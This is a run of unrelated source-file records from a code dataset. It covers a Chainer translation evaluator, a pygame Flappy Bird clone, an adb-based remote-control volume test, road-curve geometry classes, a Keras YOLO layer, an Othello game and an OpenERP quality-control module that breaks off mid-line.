CalculateBleu(chainer.training.Extension):\n\n trigger = 1, 'epoch'\n priority = chainer.training.PRIORITY_WRITER\n\n def __init__(\n self, model, test_data, key, batch=50, device=-1, max_length=50):\n self.model = model\n self.test_data = test_data\n self.key = key\n self.batch = batch\n self.device = device\n self.max_length = max_length\n\n def __call__(self, trainer):\n print('## Calculate BLEU')\n with chainer.no_backprop_mode():\n with chainer.using_config('train', False):\n references = []\n hypotheses = []\n for i in range(0, len(self.test_data), self.batch):\n sources, targets = zip(*self.test_data[i:i + self.batch])\n references.extend([[t.tolist()] for t in targets])\n\n sources = [\n chainer.dataset.to_device(self.device, x) for x in sources]\n ys = [y.tolist()\n for y in self.model.translate(\n sources, self.max_length, beam=False)]\n # greedy generation for efficiency\n hypotheses.extend(ys)\n\n bleu = bleu_score.corpus_bleu(\n references, hypotheses,\n smoothing_function=bleu_score.SmoothingFunction().method1) * 100\n print('BLEU:', bleu)\n reporter.report({self.key: bleu})\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Chainer example: convolutional seq2seq')\n parser.add_argument('--batchsize', '-b', type=int, default=48,\n help='Number of images in each mini-batch')\n parser.add_argument('--epoch', '-e', type=int, default=100,\n help='Number of sweeps over the dataset to train')\n parser.add_argument('--gpu', '-g', type=int, default=-1,\n help='GPU ID (negative value indicates CPU)')\n parser.add_argument('--unit', '-u', type=int, default=512,\n help='Number of units')\n parser.add_argument('--layer', '-l', type=int, default=6,\n help='Number of layers')\n parser.add_argument('--head', type=int, default=8,\n help='Number of heads in attention mechanism')\n parser.add_argument('--dropout', '-d', type=float, default=0.1,\n help='Dropout rate')\n parser.add_argument('--model', type=str,\n help='trained model')\n parser.add_argument('--input', '-i', type=str, default='./',\n help='Input directory')\n parser.add_argument('--source', '-s', type=str,\n default='europarl-v7.fr-en.en',\n help='Filename of train data for source language')\n parser.add_argument('--target', '-t', type=str,\n default='europarl-v7.fr-en.fr',\n help='Filename of train data for target language')\n parser.add_argument('--out', '-o', default='result',\n help='Directory to output the result')\n parser.add_argument('--source-vocab', type=int, default=40000,\n help='Vocabulary size of source language')\n parser.add_argument('--target-vocab', type=int, default=40000,\n help='Vocabulary size of target language')\n parser.add_argument('--no-bleu', '-no-bleu', action='store_true',\n help='Skip BLEU calculation')\n parser.add_argument('--use-label-smoothing', action='store_true',\n help='Use label smoothing for cross entropy')\n parser.add_argument('--embed-position', action='store_true',\n help='Use position embedding rather than sinusoid')\n parser.add_argument('--use-fixed-lr', action='store_true',\n help='Use fixed learning rate rather than the ' +\n 'annealing proposed in the paper')\n parser.add_argument('--disable-mecab', '--dm', action='store_true',\n help='disalbe mecab toknize')\n args = parser.parse_args()\n print(json.dumps(args.__dict__, indent=4))\n\n # Check file\n en_path = os.path.join(args.input, args.source)\n source_vocab = ['', '', ''] + \\\n preprocess.count_words(en_path, args.source_vocab)\n source_data = preprocess.make_dataset(en_path, source_vocab)\n fr_path = os.path.join(args.input, args.target)\n target_vocab = ['', '', ''] + \\\n preprocess.count_words(fr_path, args.target_vocab)\n # print('Original training data size: %d' % len(source_data))\n # print('Filtered training data size: %d' % len(train_data))\n\n source_ids = {word: index for index, word in enumerate(source_vocab)}\n target_ids = {word: index for index, word in enumerate(target_vocab)}\n\n target_words = {i: w for w, i in target_ids.items()}\n source_words = {i: w for w, i in source_ids.items()}\n\n m = MeCab('-Owakati')\n\n # Define Model\n model = net.Transformer(\n args.layer,\n min(len(source_ids), len(source_words)),\n min(len(target_ids), len(target_words)),\n args.unit,\n h=args.head,\n dropout=args.dropout,\n max_length=500,\n use_label_smoothing=args.use_label_smoothing,\n embed_position=args.embed_position)\n if args.gpu >= 0:\n chainer.cuda.get_device(args.gpu).use()\n model.to_gpu(args.gpu)\n\n chainer.serializers.load_npz(args.model, model)\n\n def translate_one(source, target):\n words = preprocess.split_sentence(source)\n print('# source : ' + ' '.join(words))\n x = model.xp.array(\n [source_ids.get(w, 1) for w in words], 'i')\n ys = model.translate([x], beam=5)[0]\n words = [target_words[y] for y in ys]\n print('# result : ' + ' '.join(words))\n print('# expect : ' + target)\n\n def tokenize(source, target):\n if args.disable_mecab:\n return source, target\n return m.parse(source), m.parse(target)\n\n while True:\n source = input('source> ')\n target = input('target> ')\n source, target = tokenize(source, target)\n translate_one(source, target)\n\nif __name__ == '__main__':\n main()\n","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":9123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"126087475","text":"import pygame, sys, random\n\ndef crear_tubo():\n altura_random =random.choice(altura_tubo)\n tubo_abajo = superficie_tubo.get_rect(midtop = (350,altura_random))\n tubo_arriba = superficie_tubo.get_rect(midbottom = (350,altura_random - 150))\n return tubo_abajo, tubo_arriba\n\ndef mover_tubos(tubos):\n for tubo in tubos:\n tubo.centerx -= 5\n tubos_visibles = [tubo for tubo in tubos if tubo.right > -50]\n return tubos_visibles\n\ndef mostrar_tubos(tubos):\n for tubo in tubos:\n if tubo.bottom >= 512:\n pantalla.blit(superficie_tubo,tubo)\n else:\n voltear_tubo = pygame.transform.flip(superficie_tubo,False,True)\n pantalla.blit(voltear_tubo,tubo)\n\ndef detectar_colisiones(tubos):\n global score_activo\n \n for tubo in tubos:\n if rect_ave.colliderect(tubo):\n sonido_muerte.play()\n score_activo = True\n return False\n\n if rect_ave.top <= -50 or rect_ave.bottom >= 450:\n sonido_muerte.play()\n score_activo = True\n return False\n\n return True\n\ndef girar_ave(ave):\n nueva_ave = pygame.transform.rotozoom(ave,-movimiento_ave * 3,1)\n return nueva_ave\n\ndef animacion_ave():\n nueva_ave = cuadros_ave[index_ave]\n nuevo_rect_ave = nueva_ave.get_rect(center = (50,rect_ave.centery))\n return nueva_ave,nuevo_rect_ave\n\ndef mostrar_score(estado_juego):\n if estado_juego == 'activo':\n superficie_score = fuente.render(str(score),True,(255,255,255))\n rect_score = superficie_score.get_rect(center = (144,50))\n pantalla.blit(superficie_score,rect_score)\n if estado_juego == 'game_over':\n superficie_score = fuente.render(f'Score: {score}',True,(255,255,255))\n rect_score = superficie_score.get_rect(center = (144,50))\n pantalla.blit(superficie_score,rect_score)\n \n superficie_high_score = fuente.render(f'High score: {high_score}',True,(255,255,255))\n rect_high_score = superficie_high_score.get_rect(center = (144,425))\n pantalla.blit(superficie_high_score,rect_high_score)\n\ndef actualizar_high_score(score, high_score):\n if score > high_score:\n high_score = score\n return high_score\n\ndef revisar_score():\n global score, score_activo\n \n if lista_tubos:\n for tubo in lista_tubos:\n if 45 < tubo.centerx < 55 and score_activo:\n score += 1\n sonido_score.play()\n score_activo = False\n if tubo.centerx < 0:\n score_activo = True\n\npygame.init()\npantalla = pygame.display.set_mode((288,512))\nreloj = pygame.time.Clock()\nfuente = pygame.font.Font('04B_19.ttf',20)\n\n# Variables del Juego\ngravedad = 0.25\nmovimiento_ave = 0\njuego_activo = True\nscore = 0\nhigh_score = 0\nscore_activo = True\n\nsuperficie_fondo = pygame.image.load('assets/background-day.png').convert()\nsuperficie_suelo = pygame.image.load('assets/base.png').convert()\npos_suelo_x = 0\n\nave_bajo = pygame.image.load('assets/bluebird-downflap.png').convert_alpha()\nave_medio = pygame.image.load('assets/bluebird-midflap.png').convert_alpha()\nave_alto = pygame.image.load('assets/bluebird-upflap.png').convert_alpha()\ncuadros_ave = [ave_bajo,ave_medio,ave_alto]\nindex_ave = 0\nsuperficie_ave = cuadros_ave[index_ave]\nrect_ave = superficie_ave.get_rect(center = (50,256))\n\nFLAPAVE = pygame.USEREVENT + 1\npygame.time.set_timer(FLAPAVE, 200)\n\nsuperficie_tubo = pygame.image.load('assets/pipe-green.png').convert()\nlista_tubos = []\nSPAWNTUBO = pygame.USEREVENT\npygame.time.set_timer(SPAWNTUBO, 1200)\naltura_tubo = [200,300,400]\n\nsuperficie_game_over = pygame.image.load('assets/message.png').convert_alpha()\nrect_game_over = superficie_game_over.get_rect(center = (144,256))\n\nsonido_flap = pygame.mixer.Sound('sound/sfx_wing.wav')\nsonido_muerte = pygame.mixer.Sound('sound/sfx_hit.wav')\nsonido_score = pygame.mixer.Sound('sound/sfx_point.wav')\n\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n if juego_activo:\n movimiento_ave = -7\n sonido_flap.play()\n else:\n juego_activo = True\n lista_tubos.clear()\n rect_ave.center = (50,256)\n movimiento_ave = 0\n score = 0\n\n if event.type == SPAWNTUBO:\n lista_tubos.extend(crear_tubo())\n\n if event.type == FLAPAVE:\n if index_ave < 2:\n index_ave += 1\n else:\n index_ave = 0\n\n superficie_ave,rect_ave = animacion_ave()\n\n pantalla.blit(superficie_fondo, (0,0))\n\n if juego_activo:\n # Ave\n movimiento_ave += gravedad\n rect_ave.centery += movimiento_ave\n ave_girada = girar_ave(superficie_ave)\n pantalla.blit(ave_girada,rect_ave)\n juego_activo = detectar_colisiones(lista_tubos)\n\n # Tubos\n lista_tubos = mover_tubos(lista_tubos)\n mostrar_tubos(lista_tubos)\n \n # Score\n revisar_score()\n mostrar_score('activo')\n \n # Suelo\n pos_suelo_x -= 1\n else:\n pantalla.blit(superficie_game_over,rect_game_over)\n high_score = actualizar_high_score(score,high_score)\n mostrar_score('game_over')\n \n pantalla.blit(superficie_suelo,(pos_suelo_x,450))\n pantalla.blit(superficie_suelo,(pos_suelo_x + 288,450))\n if pos_suelo_x <= -288:\n pos_suelo_x = 0\n \n pygame.display.update()\n reloj.tick(60)","sub_path":"flap.py","file_name":"flap.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"561862084","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom testcase import TestCase\nfrom rcAction import RcAction\nimport os\nimport time\nimport deviceHelper\nfrom utils import Log\n\n\nclass TestRcLongVolume(TestCase):\n \"\"\"docstring for TestRcLongVolume\"\"\"\n def __init__(self, doc, level, owner):\n super(TestRcLongVolume, self).__init__(doc, level, owner)\n\n def get_maxmin_db(self, rc, uid):\n vinfo = deviceHelper.adb_cmd('shell logcat -d | grep \"set volume :\"', uid)\n db = vinfo[-1].split(':')[-1].strip()\n return int(db)\n\n def volume_up_action(self, rc, uid):\n rc.long_volume_up(2)\n vinfo = deviceHelper.adb_cmd('shell logcat -d | grep \"update volume db\"', uid)\n if len(vinfo) <= 0:\n return self.get_maxmin_db(rc, uid)\n cutdb = vinfo[-1].split('=')[-1].strip()\n return int(cutdb)\n\n def volume_down_action(self, rc, uid):\n rc.long_volume_down(2)\n vinfo = deviceHelper.adb_cmd('shell logcat -d | grep \"update volume db\"', uid)\n if len(vinfo) <= 0:\n return self.get_maxmin_db(rc, uid)\n cutdb = vinfo[-1].split('=')[-1].strip()\n return int(cutdb)\n\n def db_up_to_fifty(self, rc, uid, lastdb):\n if lastdb == 100 or lastdb == -1:\n if lastdb == -1:\n Log().info(str(lastdb))\n return lastdb\n else:\n db = self.volume_up_action(rc, uid)\n if lastdb != 98 and db - lastdb <= 2:\n Log().error('db = ' + str(db) + '; lastdb = ' + str(lastdb))\n return -1\n elif db - lastdb > 75:\n Log().error('db = ' + str(db) + '; lastdb = ' + str(lastdb))\n return -1\n else:\n lastdb = db\n return self.db_up_to_fifty(rc, uid, lastdb)\n\n def db_down_to_zero(self, rc, uid, lastdb):\n if lastdb == 0 or lastdb == -1:\n if lastdb == -1:\n Log().info(str(lastdb))\n return lastdb\n else:\n db = self.volume_down_action(rc, uid)\n if lastdb != 2 and lastdb - db <= 2:\n Log().error('db = ' + str(db) + '; lastdb = ' + str(lastdb))\n return -1\n elif lastdb - db > 75:\n Log().error('db = ' + str(db) + '; lastdb = ' + str(lastdb))\n return -1\n else:\n lastdb = db\n return self.db_down_to_zero(rc, uid, lastdb)\n\n def back_to_zero(self, rc, uid):\n for i in len(3):\n self.volume_down_action(rc, uid)\n\n def execute(self):\n rc_usb = os.path.join('/dev', self.plan.rctty)\n rc = RcAction(rc_usb, self.plan.target)\n count = 0\n lastdb = self.volume_up_action(rc, self.plan.target)\n while count < 3 and lastdb >= 0:\n if int(lastdb) != 100:\n lastdb = self.db_up_to_fifty(rc, self.plan.target, lastdb)\n elif int(lastdb) == 100:\n lastdb = self.db_down_to_zero(rc, self.plan.target, lastdb)\n count += 1\n if lastdb < 0:\n self._status = False\n else:\n self._status = True\n self.db_down_to_zero(rc, self.plan.target, lastdb)\n\n\nif __name__ == \"__main__\":\n TestRcLongVolume('long press volume', 'p3', 'nitb').run()\n","sub_path":"Python_Java_UIautomator/case/platform/BT-RC/test_rc_long_volume.py","file_name":"test_rc_long_volume.py","file_ext":"py","file_size_in_byte":3310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"558866743","text":"# This file is required. Use the same name, \"source.py\".\n# All of your *foundational* code goes here, meaning the functions and classes\n# that can be used to build larger processes. For example, the class you\n# created for the OOP assignment would go here.\n\n# -- Imports ------------------------------------------------------------------\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# -- First class --------------------------------------------------------------\nclass HorizontalAlignment:\n\n sidefrictionfactor = 0.15\n superelevation = 0.10\n\n def __init__(self, xcor, ycor, speed, tanglen):\n self.xcor = xcor\n self.ycor = ycor\n self.speed = speed\n self.tanglen = tanglen\n\n if speed <= 0:\n raise ValueError('Invalid speed.')\n if tanglen <= 0:\n raise ValueError('Invalid tangent length.')\n\n def radius(self):\n \"\"\" This calculates the radius of the curve. This is R on the horizontal curve diagram in the README.md file.\n \"\"\"\n if self.speed:\n return (self.speed**2)/(15*(0.01*self.superelevation+self.sidefrictionfactor))\n \n def intersectangle(self):\n \"\"\" This calculates the intersection of the angle of the two tangent lines and converts to degrees.\n This is I on the horizontal curve diagram.\n \"\"\"\n if self.tanglen:\n return (2*np.arctan(self.tanglen/self.radius()))*(180/np.pi)\n\n def longchordlen(self):\n \"\"\" This calculates the length of the long cord from the point of curve to the point of tangent.\n This is not the length of the curve but the short distance between the beginning and end points.\n This is LC on the horizontal curve diagram.\n \"\"\"\n if self.tanglen and self.intersectangle():\n return (2*self.tanglen*np.cos((self.intersectangle()*(np.pi/180))/2))\n\n def midordlen(self):\n \"\"\" This calculates the length of the middle ordinate, M on the horizontal curve diagram.\n \"\"\"\n if self.radius() and self.intersectangle():\n return (self.radius()*(1-np.cos((self.intersectangle()*(np.pi/180))/2)))\n\n def externaldist(self):\n \"\"\" This calculates the external distance, E on the horizontal curve diagram. This is not necessary for plotting\n the curve however it can be help if solving for PI, point of intersection.\n \"\"\"\n if self.radius() and self.intersectangle():\n return (self.radius()*((1/np.cos((self.intersectangle()*(np.pi/180))/2)-1)))\n\n def solve(self):\n \"\"\" This calculates the coordinates for the middle of the curve which used be used to derive a formula\n for the parabola with the given coordinates and the calculated coordinates along the curve and at the point\n of tangent where the curve ends.\n \"\"\"\n xcor1 = self.longchordlen()/2 + self.xcor\n ycor1 = self.ycor + self.midordlen()\n\n xcor2 = self.xcor + self.longchordlen()\n # ycor is equal to ycor2\n\n \"\"\" At this point we will transform the equation for a parabola to solve for a when we know the vertex (xcor1,ycor1)\n and two points along the curve (xcor,ycor).\n \"\"\"\n\n a = (self.ycor-ycor1)/((self.xcor-xcor1)**2)\n\n xi = np.linspace(self.xcor,xcor2, 11)\n yi = a*(xi-xcor1)**2+ycor1\n\n plt.plot(xi, yi, color='#de2d26')\n\n plt.title('Horizontal Alignment Curve', fontweight='black', fontfamily='monospace')\n plt.xlabel('X (ft)')\n plt.ylabel('Y (ft)')\n plt.axis('equal')\n\n return plt.show()\n \n\n # -- Second class ---------------------------------------------------------------\nclass VerticalAlignment:\n\n driverreactiontime = 2.5 # Assumed, decription in README.md\n decelerationrate = 11.2 # Assumed, decription in README.md\n\n def __init__(self, xcor, zcor, g1, g2, speed, style):\n self.xcor = xcor\n self.zcor = zcor\n self.g1 = g1\n self.g2 = g2\n self.speed = speed\n self.style = style\n\n def sightdistance(self):\n \"\"\" This calculates stopping sight distance at the given velocity.\n \"\"\"\n if self.speed and self.g1:\n return (1.47*self.speed*self.driverreactiontime)+((self.speed**2)/(30*(self.decelerationrate/32.2)+self.g1))\n\n def gradediff(self):\n \"\"\" This calculates the absolute value of difference in grades.\n \"\"\"\n if self.g1 and self.g2:\n return np.abs(self.g1-self.g2)*100\n\n def curvelen(self):\n \"\"\" This calculates the horizontal length of the curve from according to standard criteria.\n \"\"\"\n if self.style == 'crest':\n return (self.gradediff()*(self.sightdistance()**2))/(2158)\n elif self.style == 'sag':\n return (self.gradediff()*(self.sightdistance()**2))/(400+3.5*self.sightdistance())\n else:\n print('Invalid type of vertical curve. Choose sag or crest')\n\n def curvecheck(self):\n \"\"\" This check if the curve length is less than the stopping sight distance. If that is the\n case, new design equation are introduced to calculate a new length value.\n \"\"\"\n if self.sightdistance() > self.curvelen():\n if self.style == 'crest':\n return (2*self.sightdistance())-(2158/self.gradediff())\n elif self.style == 'sag':\n return (2*self.sightdistance())-((400+3.5*self.sightdistance())/self.gradediff())\n else:\n return self.curvelen()\n\n def parabolaconstant(self):\n \"\"\" This calculates the parabola constant that can be used to graph the vertical curve\n \"\"\"\n if self.g1 and self.g2 and self.curvecheck:\n return ((self.g2-self.g1)/(2*self.curvecheck()))\n\n\n def solve(self):\n \"\"\" This calculates the equation for the parabola given the parabola constant. The range of\n x-values in computed from the length of the curve.\n \"\"\"\n xcor1 = self.xcor + self.curvelen()\n\n xi = np.linspace(self.xcor,xcor1, 11)\n zi = self.parabolaconstant()*(xi**2)\n\n plt.plot(xi, zi, color='#de2d24')\n\n plt.title('Vertical Alignment Curve', fontweight='black', fontfamily='monospace')\n plt.xlabel('X (ft)')\n plt.ylabel('Z (ft)')\n plt.axis('equal')\n\n return plt.show()\n","sub_path":"source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"200236713","text":"\"\"\"Contains common building blocks for yolo neural networks.\"\"\"\nimport tensorflow as tf\nimport tensorflow.keras as ks\nfrom ._DarkConv import DarkConv\n\n\n@ks.utils.register_keras_serializable(package='yolo')\nclass DarkUpsampleRoute(ks.layers.Layer):\n def __init__(\n self,\n filters=1,\n use_bias=True,\n kernel_initializer='glorot_uniform',\n bias_initializer='zeros',\n bias_regularizer=None,\n l2_regularization=5e-4, # default find where is it is stated\n use_bn=True,\n use_sync_bn=False,\n norm_moment=0.99,\n norm_epsilon=0.001,\n conv_activation='leaky',\n leaky_alpha=0.1,\n upsampling_size=(2, 2),\n **kwargs):\n\n # darkconv params\n self._filters = filters\n self._use_bias = use_bias\n self._kernel_initializer = kernel_initializer\n self._bias_initializer = bias_initializer\n self._bias_regularizer = bias_regularizer\n self._l2_regularization = l2_regularization\n self._use_bn = use_bn\n self._use_sync_bn = use_sync_bn\n\n # normal params\n self._norm_moment = norm_moment\n self._norm_epsilon = norm_epsilon\n\n # activation params\n self._conv_activation = conv_activation\n self._leaky_alpha = leaky_alpha\n self._upsampling_size = upsampling_size\n\n super().__init__(**kwargs)\n\n def build(self, input_shape):\n self._conv = DarkConv(filters=self._filters,\n kernel_size=(1, 1),\n strides=(1, 1),\n padding='same',\n use_bias=self._use_bias,\n kernel_initializer=self._kernel_initializer,\n bias_initializer=self._bias_initializer,\n use_bn=self._use_bn,\n use_sync_bn=self._use_sync_bn,\n norm_moment=self._norm_moment,\n norm_epsilon=self._norm_epsilon,\n activation=self._conv_activation,\n leaky_alpha=self._leaky_alpha)\n self._upsample = ks.layers.UpSampling2D(size=self._upsampling_size)\n self._concat = tf.keras.layers.Concatenate()\n super().build(input_shape)\n return\n\n def call(self, inputs):\n # done this way to prevent confusion in the auto graph\n inputToConvolve, inputRouted = inputs\n\n x = self._conv(inputToConvolve)\n x = self._upsample(x)\n x = self._concat([x, inputRouted])\n return x\n\n def get_config(self):\n # used to store/share parameters to reconsturct the model\n layer_config = {\n \"filters\": self._filters,\n \"use_bias\": self._use_bias,\n \"kernel_initializer\": self._kernel_initializer,\n \"bias_initializer\": self._bias_initializer,\n \"use_bn\": self._use_bn,\n \"use_sync_bn\": self._use_sync_bn,\n \"norm_moment\": self._norm_moment,\n \"norm_epsilon\": self._norm_epsilon,\n \"conv_activation\": self._conv_activation,\n \"leaky_alpha\": self._leaky_alpha,\n \"upsampling_size\": self._upsampling_size\n }\n layer_config.update(super().get_config())\n return layer_config\n","sub_path":"yolo/modeling/building_blocks/_DarkUpsampleRoute.py","file_name":"_DarkUpsampleRoute.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"301457840","text":"import pprint\nimport json\n\n#Diccionario\nperro = {'nombre': 'Rocco',\n 'tipo': 'perro',\n 'raza': 'labrador'}\n\n#Variable\nedad = 5\n\n#Lista\nle_gusta = ['Comer', 'Correr a las palomas', 'ladrar sin parar']\n\n#Combinar\nperro.update(edad = edad)\nperro.update({'le_gusta': le_gusta})\n\n#pprint.pprint(perro)\n\nobjeto = {'perro': perro}\n\nwith open('perro.json', 'w', encoding='utf-8') as archivoJson:\n json.dump(objeto, archivoJson)\n\nwith open('perro_lindo.json', 'w', encoding='utf-8') as archivoJson:\n json.dump(objeto, archivoJson, indent=3)\n","sub_path":"Clase 7/crear_json.py","file_name":"crear_json.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"403533326","text":"from unittest import TestCase, mock\n\nimport ornitho\nfrom ornitho.model.abstract import UpdateableModel\n\nornitho.consumer_key = \"ORNITHO_CONSUMER_KEY\"\nornitho.consumer_secret = \"ORNITHO_CONSUMER_SECRET\"\nornitho.user_email = \"ORNITHO_USER_EMAIL\"\nornitho.user_pw = \"ORNITHO_USER_PW\"\nornitho.api_base = \"ORNITHO_API_BASE\"\n\n\nclass TestUpdateableModel(TestCase):\n class MyModel(UpdateableModel):\n ENDPOINT = \"my_model\"\n\n # noinspection PyUnusedLocal\n @staticmethod\n def fake_request(**kwargs):\n return \"SUCCESS\"\n\n @mock.patch.object(MyModel, \"request\", fake_request)\n def test_update(self):\n my_model = self.MyModel()\n response = my_model.update()\n self.assertEqual(\"SUCCESS\", response)\n","sub_path":"tests/model/abstract/test_updateable_model.py","file_name":"test_updateable_model.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"545105853","text":"def print_Board(board):\n k = 0\n print(\" ABCDEFGH\")\n for i in range(8):\n for r in range(9):\n print(board[k], end='')\n k += 1\n if k % 9 == 0:\n print(\"\\n\", end='')\n\ndef placement(board, spot):\n board[spot] = team\n return board \n\ndef sorted(row, column):\n popo = 1\n if row == \"1\":\n popo += 0\n if row == \"2\":\n popo += 9\n if row == \"3\":\n popo += 18\n if row == \"4\":\n popo += 27\n if row == \"5\":\n popo += 36\n if row == \"6\":\n popo += 45 \n if row == \"7\":\n popo += 54\n if row == \"8\":\n popo += 63\n if column == \"A\":\n popo += 0\n if column == \"B\":\n popo += 1\n if column == \"C\":\n popo += 2\n if column == \"D\":\n popo += 3\n if column == \"E\":\n popo += 4\n if column == \"F\":\n popo += 5\n if column == \"G\":\n popo += 6\n if column == \"H\":\n popo += 7\n return popo\n\ndef starting_board(board):\n board[31] = \"W\"\n board[32] = \"B\"\n board[40] = \"B\"\n board[41] = \"W\"\n return board\n\ndef check_board(board, pos):\n global checknum\n print(checknum)\n pos += 1\n if board[pos] == teamC:\n checknum += 1\n print(checknum)\n check_board(board, pos)\n if board[pos] == teamB and checknum > 0:\n return flip(board, pos)\n if board[pos] == teamB and checknum == 0:\n return board\n if board[pos] == exterms:\n return board\n\n\ndef flip(board, pos):\n if board[pos] == \"W\":\n board[pos] = \"B\"\n else:\n board[pos] = \"W\"\n return board\n\n\ngamestate = True\n\nexterms = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\"]\n\nBlankBoard = [\"1\"] + [\"*\"]*8 + [\"2\"] + [\"*\"]*8 + [\"3\"] + [\"*\"]*8 + [\"4\"] + [\"*\"]*8 + [\"5\"] + [\"*\"]*8 + [\"6\"] + [\"*\"]*8 + [\"7\"] + [\"*\"]*8 + [\"8\"] + [\"*\"]*8\ninitialBoard = starting_board(BlankBoard)\nprint_Board(initialBoard)\n\nteamCount = 0\nteam = \"\"\nteamC = \"\"\nteamW = \"W\"\nteamB = \"B\"\n\nwhile gamestate == True:\n checknum = 0\n if teamCount % 2 == 0:\n team = teamB\n teamC = teamW\n else:\n team = teamW\n teamC = teamB\n rowinp = input(\"Please input row placement: \")\n columninp = input(\"Please input column placement: \")\n spotnum = sorted(rowinp.upper(), columninp)\n newboard = placement(initialBoard, spotnum)\n newest_board = check_board(newboard, spotnum)\n print(newest_board)\n print_Board(newest_board)\n teamCount += 1\n","sub_path":"Othello V.4/Othello V.4/Othello_V.4.py","file_name":"Othello_V.4.py","file_ext":"py","file_size_in_byte":2463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93898495","text":"##############################################################################\n#\n# Copyright (c) 2010-2012 NaN Projectes de Programari Lliure, S.L.\n# All Rights Reserved.\n# http://www.NaN-tic.com\n#\n# WARNING: This program as such is intended to be used by professional\n# programmers who take the whole responsability of assessing all potential\n# consequences resulting from its eventual inadequacies and bugs\n# End users who are looking for a ready-to-use solution with commercial\n# garantees and support are strongly adviced to contract a Free Software\n# Service Company\n#\n# This program is Free Software; you can redistribute it and/or\n# modify it under the terms of the GNU Affero General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Affero General Public License for more details.\n#\n# You should have received a copy of the GNU Affero General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n#\n##############################################################################\n\nfrom decimal import Decimal\nimport time\n\nfrom osv import fields, osv\nfrom tools.safe_eval import safe_eval\nimport decimal_precision as dp\n\n\nclass qc_proof_method(osv.osv):\n \"\"\"\n This model stores a method for doing a test.\n Examples of methods are: \"Eu.Pharm.v.v. (2.2.32)\" or \"HPLC\"\n \"\"\"\n _name = 'qc.proof.method'\n _description = 'Method'\n\n _columns = {\n 'name': fields.char('Name', size=100, required=True, select=True,\n translate=True),\n 'active': fields.boolean('Active', select=True),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _defaults = {\n 'active': lambda *a: True,\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid,\n 'qc.proof.method',\n context=c),\n }\n\n\nqc_proof_method()\n\n\nclass qc_posible_value(osv.osv):\n \"\"\"\n This model stores all possible values of qualitative proof.\n \"\"\"\n _name = 'qc.posible.value'\n\n _columns = {\n 'name': fields.char('Name', size=200, required=True, select=True,\n translate=True),\n 'active': fields.boolean('Active', select=True),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _defaults = {\n 'active': lambda *a: True,\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid,\n 'qc.posible.value',\n context=c),\n }\n\n def search(self, cr, uid, args, offset=0, limit=None, order=None,\n context=None, count=False):\n if context is None:\n context = {}\n if context.get('proof_id'):\n ctx = context.copy()\n del ctx['proof_id']\n # TODO: check if its possible to do: self.search(cr, uid, [\n # ('proof_ids', 'in', [context['proof_id']]),\n # ], context=ctx)\n proof = self.pool.get('qc.proof').browse(cr, uid,\n context['proof_id'], ctx)\n result = [x.id for x in proof.value_ids]\n args = args[:]\n args.append(('id', 'in', result))\n return super(qc_posible_value, self).search(cr, uid, args, offset,\n limit, order, context,\n count)\n\n\nqc_posible_value()\n\n\nclass qc_proof(osv.osv):\n \"\"\"\n This model stores proofs which will be part of a test. Proofs are\n classified between qualitative (such as color) and quantitative\n (such as density).\n\n Proof must be related with method, and Poof-Method relation must be unique\n\n A name_search on this model will search on 'name' field but also on any of\n its synonyms.\n \"\"\"\n _name = 'qc.proof'\n\n # qc.proof\n def _synonyms(self, cr, uid, ids, field_name, arg, context=None):\n result = {}\n for proof in self.browse(cr, uid, ids, context):\n texts = []\n for syn in proof.synonym_ids:\n texts.append(syn.name)\n result[proof.id] = ', '.join(texts)\n return result\n\n _columns = {\n 'name': fields.char('Name', size=200, required=True, select=True,\n translate=True),\n 'ref': fields.char('Code', size=30, select=True),\n 'active': fields.boolean('Active', select=True),\n 'synonym_ids': fields.one2many('qc.proof.synonym', 'proof_id',\n 'Synonyms'),\n 'type': fields.selection([('qualitative', 'Qualitative'),\n ('quantitative', 'Quantitative'), ], 'Type',\n select=True, required=True),\n 'value_ids': fields.many2many('qc.posible.value',\n 'qc_proof_posible_value_rel', 'proof_id',\n 'posible_value_id',\n 'Posible Values'),\n 'synonyms': fields.function(_synonyms, method=True, type='char',\n size='1000', string='Synonyms',\n store=False),\n 'company_id': fields.many2one('res.company', 'Company'),\n }\n\n _defaults = {\n 'active': lambda *a: True,\n 'company_id': lambda self, cr, uid, c:\n self.pool.get('res.company')._company_default_get(cr, uid, 'qc.proof',\n context=c),\n }\n\n # qc.proof\n def name_search(self, cr, uid, name='', args=None, operator='ilike',\n context=None, limit=None):\n result = super(qc_proof, self).name_search(cr, uid, name, args,\n operator, context, limit)\n if name:\n ids = 